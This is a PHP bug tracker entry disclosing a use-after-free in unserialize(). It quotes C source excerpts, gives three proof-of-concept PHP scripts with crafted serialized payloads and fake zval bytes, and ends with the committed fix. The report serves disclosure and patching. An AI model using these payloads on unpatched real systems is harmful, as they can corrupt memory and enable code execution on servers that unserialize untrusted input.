php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70436 Use After Free Vulnerability in unserialize()
Submitted: 2015-09-06 14:14 UTC Modified: 2016-08-17 06:39 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.24 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-09-06 14:14 UTC] taoguangchen at icloud dot com
Description:
------------
var_unserializer.c
```
static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
	...
	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
		return 0;
	}
	...

PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{
	...
	if (var_hash && cursor[0] != 'R') {
		var_push(var_hash, rval);
	}
	...
	return 0;
```

var.c
```
PHP_FUNCTION(unserialize)
{
	...
	p = (const unsigned char*) buf;
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
		zval_dtor(return_value);
		if (!EG(exception)) {
			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
		}
		RETURN_FALSE;
```

it has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory, however during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:

```
<?php

class obj1 implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

class obj2 {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = '{'; /* any invalid serialized string */
$exploit = 'a:5:{i:0;i:1;i:1;C:4:"obj1":'.strlen($inner).':{'.$inner.'}i:2;O:4:"obj2":1:{s:4:"ryat";R:3;}i:3;s:'.strlen($fakezval).':"'.$fakezval.'";i:4;R:4;}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>
```

fix
```
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
+		var_push_dtor(&var_hash, &return_value);
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-09-06 15:26 UTC] taoguangchen at icloud dot com
additional solution:
some other extensions have same issues when call to the php_var_unserialize(), so you need always call to the var_push_dtor() before the php_var_unserialize() return 0.
 [2015-10-08 13:59 UTC] taoguangchen at icloud dot com
this bug can be still triggered without the crafted __wakeup() method

var_unserializer.c
```
static inline int finish_nested_data(UNSERIALIZE_PARAMETER)
{
	if (*((*p)++) == '}')
		return 1;
	...
	return 0;
}

static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
	...
	if (ce->unserialize == NULL) {
		zend_error(E_WARNING, "Class %s has no unserializer", ce->name);
		object_init_ex(*rval, ce);
	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
		return 0;
	}

	(*p) += datalen;

	return finish_nested_data(UNSERIALIZE_PASSTHRU);
```

var.c
```
PHP_FUNCTION(unserialize)
{
	...
	p = (const unsigned char*) buf;
	PHP_VAR_UNSERIALIZE_INIT(var_hash);
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
		zval_dtor(return_value);
		if (!EG(exception)) {
			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
		}
		RETURN_FALSE;
```

so an attacker can freed a ZVAL from the memory via zval_dtor(), it has been demonstrated before in GMP deserialization exploit, however during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely. 

PoC:
```
<?php

class obj implements Serializable
{
	var $data;
	
	function serialize()
	{
		return serialize($this->data);
	}
	
	function unserialize($data)
	{
		$this->data = unserialize($data);
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'C:3:"obj":3:{ryat';
$exploit = 'a:4:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:2;s:'.strlen($fakezval).':"'.$fakezval.'";i:3;R:5;}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	
	return $out;
}

?>
```
 [2016-02-14 17:18 UTC] taoguangchen at icloud dot com
The similar bug also effect latest of php7, and result in  code execution.

PoC:

```
class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

$inner = 'a:1:{i:0;O:8:"stdClass":0:{}';
$inner = 'x:i:1;a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:7;};m:a:0:{';
$exploit = 'a:1:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}}';
unserialize($exploit);
```
 [2016-02-14 17:25 UTC] taoguangchen at icloud dot com
I think this simple solution is still valid in php 7 series.

var.c:
```
	if (!php_var_unserialize_ex(return_value, &p, p + buf_len, &var_hash, class_hash)) {
+		var_push_dtor(&var_hash, return_value);
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
```
 [2016-08-07 22:03 UTC] stas@php.net
Proposed fix does not work, valgrind still complains about memory errors in 5.6.
 [2016-08-07 22:11 UTC] stas@php.net
Scratch that, my mistake, it works for 5.6 with small modification
 [2016-08-07 22:17 UTC] stas@php.net
-PHP Version: Irrelevant +PHP Version: 5.6.24 -Assigned To: +Assigned To: stas
 [2016-08-07 22:17 UTC] stas@php.net
Fix added to security repo as acda5c7a65576d3585c64c195833c6bca27b6b6a
 [2016-08-17 06:39 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 06:39 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=95d09e4b5e6b84f8340efe03e8e2f9c1380228db
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=95d09e4b5e6b84f8340efe03e8e2f9c1380228db
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 [2016-08-18 11:15 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=27fe2b42fc4a0e82b30dba11e177611ac6a88bf5
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=95d09e4b5e6b84f8340efe03e8e2f9c1380228db
Log: Fix bug #70436: Use After Free Vulnerability in unserialize()
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Nov 23 08:01:28 2024 UTC